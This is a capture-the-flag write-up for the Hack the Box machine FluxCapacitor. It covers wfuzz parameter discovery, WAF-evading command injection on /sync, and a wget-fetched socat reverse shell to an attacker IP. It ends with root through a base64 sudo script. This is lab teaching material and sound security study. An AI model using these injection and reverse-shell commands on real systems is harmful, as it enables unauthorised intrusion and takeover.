Hack the Box - FluxCapacitor Write up

Intro

FluxCapacitor was both a pretty interesting, but annoying & the frustrating box while I was doing it my first time around – mainly due to my lack of experience with wfuzz. Overall once I finally completed the box, and completed a second take on it, flux taught me quite a few tricks, especially when it came to web fuzzing utilities. I highly recommend you take a crack at it if you have the time.

Tools Used

Initial Scanning

Let’s begin by scanning the machine FluxCapacitor at (10.10.10.69) with nmap.

root@dastinia:~/htb/fluxcapacitor# nmap -T4 -sC -sV -n 10.10.10.69 -oA fluxcapacitor_inital

Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-09 18:50 EDT
Nmap scan report for 10.10.10.69
Host is up (0.18s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    SuperWAF
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Wed, 09 May 2018 22:50:46 GMT
......... [TRUNCATED]......

From our initial scan it seems as though the only service flux has is a web server. In the background, I’ll go ahead and run a full port scan to ensure I didn’t potentially miss any additional ports/services.

root@dastinia:~/htb/fluxcapacitor# nmap -T4 -sC -sV -n -p- 10.10.10.69 -oA fluxcapacitor_fullscan

Enumeration

Visiting the web server in our browser gives us a pretty bare site, and uneventful site.

Viewing the source of the site reveals some interesting information in a comment.

<!DOCTYPE html>
<html>
<head>
<title>Keep Alive</title>
</head>
<body>
	OK: node1 alive
	<!--
		Please, add timestamp with something like:
		<script> $.ajax({ type: "GET", url: '/sync' }); </script>
	-->
	<hr/>
	FluxCapacitor Inc. info@fluxcapacitor.htb - http://fluxcapacitor.htb<br>
	<em><met><doc><brown>Roads? Where we're going, we don't need roads.</brown></doc></met></em>
</body>
</html>

It seems that there is a route for a page located at /sync in this application, which potentially has to do something with time. Attempting to visit the /sync page in our browser automatically redirects us to a 403 Forbidden error message.

After attempting some research about openresty/1.13.6.1 I discovered that OpenResty from what I understood was a sort of web scriptable web server built on nginx.

I tried cURL’ing the page to see if there was any sort of “filtering” or content change based on what client you used to access the page.

root@dastinia:~# curl  http://10.10.10.69/sync
20180513T23:25:20

Awesome we see a timestamp – after a bit of fiddling around you discover that certain user agents are being filtered like the firefox & gobuster user agents.

Fuzzing /sync

We know that /sync is doing something underneath the hood, so the next step we can take is to try and fuzz for parameters & see how the application reacts, in the hopes of discovering additional functionality. We can use wfuzz tool to complete this task.

root@dastinia:~/htb/fluxcapacitor# wfuzz -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.69/sync?FUZZ=echo

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.69/sync?FUZZ=hostname
Total requests: 220560

==================================================================
ID      Response   Lines      Word         Chars          Payload
==================================================================

000001:  C=200      2 L        1 W           19 Ch        "# directory-list-2.3-medium.txt"
000002:  C=200      2 L        1 W           19 Ch        "#"
000007:  C=200      2 L        1 W           19 Ch        "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000003:  C=200      2 L        1 W           19 Ch        "# Copyright 2007 James Fisher"
000004:  C=200      2 L        1 W           19 Ch        "#"
000005:  C=200      2 L        1 W           19 Ch        "# This work is licensed under the Creative Commons"
000006:  C=200      2 L        1 W           19 Ch        "# Attribution-Share Alike 3.0 License. To view a copy of this"
000008:  C=200      2 L        1 W           19 Ch        "# or send a letter to Creative Commons, 171 Second Street,"
000009:  C=200      2 L        1 W           19 Ch        "# Suite 300, San Francisco, California, 94105, USA."
000010:  C=200      2 L        1 W           19 Ch        "#"
000027:  C=200      2 L        1 W           19 Ch        "search"
000028:  C=200      2 L        1 W           19 Ch        "spacer"
000030:  C=200      2 L        1 W           19 Ch        "11"
000029:  C=200      2 L        1 W           19 Ch        "privacy"
000031:  C=200      2 L        1 W           19 Ch        "logo"
000032:  C=200      2 L        1 W           19 Ch        "blog"
000033:  C=200      2 L        1 W           19 Ch        "new"
000011:  C=200      2 L        1 W           19 Ch        "# Priority ordered case sensative list, where entries were found"
000034:  C=200      2 L        1 W           19 Ch        "10"
000035:  C=200      2 L        1 W           19 Ch        "cgi-bin"
000036:  C=200      2 L        1 W           19 Ch        "faq"
000037:  C=200      2 L        1 W           19 Ch        "rss"
000040:  C=200      2 L        1 W           19 Ch        "default"
000038:  C=200      2 L        1 W           19 Ch        "home"
000039:  C=200      2 L        1 W           19 Ch        "img"
000041:  C=200      2 L        1 W           19 Ch        "2005"
........[TRUNCATED]........

As we can see we are getting a large amount of 200 responses all of with length 19 characters. They are basically the time garbage responses so we can use this as the baseline of stuff to ignore/filter out, so anything different then the 200 or Char 19 is something we should potentially investigate further.

root@dastinia:~/htb/fluxcapacitor# wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hh=19 http://10.10.10.69/sync?FUZZ=echo

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.69/sync?FUZZ=echo
Total requests: 220560

==================================================================
ID      Response   Lines      Word         Chars          Payload
==================================================================

009874:  C=403      7 L       10 W          175 Ch        "opt"
010679:  C=200      2 L        1 W           19 Ch        "NAS"

Interesting we got a different response from our filter word which means that opt has a high change of being the parameter that /sync is looking for.

Side Note: This took some time, and looking back at it, I should have used a more tailored list like the Seclist Burp Parameter Names word list. Second time around doing this box it took less than two minutes to find the correct parameter. In the future, I should have done a bit more research into finding a bit more optimal list, doing so would have made this much easier.

After fiddling around with the formatting & trying a few different escape mechanisms (it would 403 if you just straight up gave it a command) code execution was successfully achieved.

Getting Code Execution

root@dastinia:~/htb/fluxcapacitor# curl "http://10.10.10.69/sync?opt='? \h\ostname'"
fluxcapacitor
bash: -c: option requires an argument
root@dastinia:~/htb/fluxcapacitor# curl "http://10.10.10.69/sync?opt='? \u\name -a'"
Linux fluxcapacitor 4.13.0-17-generic #20-Ubuntu SMP Mon Nov 6 10:04:08 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
bash: -c: option requires an argument

Getting User Shell

You very quickly find out that there’s a multitude of characters and words being filtered. The next objective is to get a reverse shell so we don’t have to keep interacting with it through cURL. Socat is my tool of choice. It’s so versatile if I have the opportunity to use it, I will….

Using forward slashes didn’t work particularly well with longer commands, so we are going to make the payload that we want the index.html of our python SimpleHTTPServer so that when we curl the page the command we want is what we see like so:

root@dastinia:~/htb/fluxcapacitor# curl "http://10.10.10.69/sync?opt='? c\u\rl 10.10.14.27:9999 '"
wget -q http://10.10.14.27:9999/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.27:8282
bash: -c: option requires an argument
root@dastinia:~/htb/fluxcapacitor# curl "http://10.10.10.69/sync?opt='? c\u\rl 10.10.14.27:9999 -o /tmp/a'"
bash: -c: option requires an argument
root@dastinia:~/htb/fluxcapacitor# curl "http://10.10.10.69/sync?opt='? b\a\s\h /tmp/a '"
root@dastinia:~/htb/fluxcapacitor# socat file:`tty`,raw,echo=0 tcp-listen:8282
nobody@fluxcapacitor:/$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@fluxcapacitor:/$
nobody@fluxcapacitor:/home/FluxCapacitorInc$ ls -la
total 12
drwxr-xr-x 2 nobody root 4096 Dec  5 14:58 .
drwxr-xr-x 4 root   root 4096 Dec  5 14:58 ..
-rw-r--r-- 1 root   root   33 Dec  5 14:58 user.txt
nobody@fluxcapacitor:/home/FluxCapacitorInc$ cat user.txt
[redacted]

Privesc & Getting Root

One of the first things I always do whenever I get on a box is running a sudo -l to see what sudo commands the current user can run. For a good set of boxes running this first can potentially save you a whole lot of time while privescing…

nobody@fluxcapacitor:/home/FluxCapacitorInc$ sudo -l
Matching Defaults entries for nobody on fluxcapacitor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nobody may run the following commands on fluxcapacitor:
    (ALL) ALL
    (root) NOPASSWD: /home/themiddle/.monit

So in this case it looks like that we can run whatever /home/themiddle/.monit is as the root user. So this very likely is our path for privesc. Lets see what this file contains…

nobody@fluxcapacitor:/home/FluxCapacitorInc$ cd /home/themiddle/
nobody@fluxcapacitor:/home/themiddle$ cat .monit
#!/bin/bash

if [ "$1" == "cmd" ]; then
        echo "Trying to execute ${2}"
        CMD=$(echo -n ${2} | base64 -d)
        bash -c "$CMD"
fi

So from what it looks like .monit takes in a parameter cmd which you can then pass in a base64 encoded string of whatever you want (your command), then it base64 decodes the value & passes the result into bash -c $value. We can very easily use this script to get ourselves a root shell with little effort.

nobody@fluxcapacitor:/home/themiddle$ echo "/bin/bash" | base64
L2Jpbi9iYXNoCg==
nobody@fluxcapacitor:/home/themiddle$ sudo /home/themiddle/.monit cmd L2Jpbi9iYXNoCg==
Trying to execute L2Jpbi9iYXNoCg==

Root :D

root@fluxcapacitor:/home/themiddle# id
uid=0(root) gid=0(root) groups=0(root)
root@fluxcapacitor:/home/themiddle# cd /root
root@fluxcapacitor:~# cat root.txt
...[redacted]...

Hope this helped :D

0%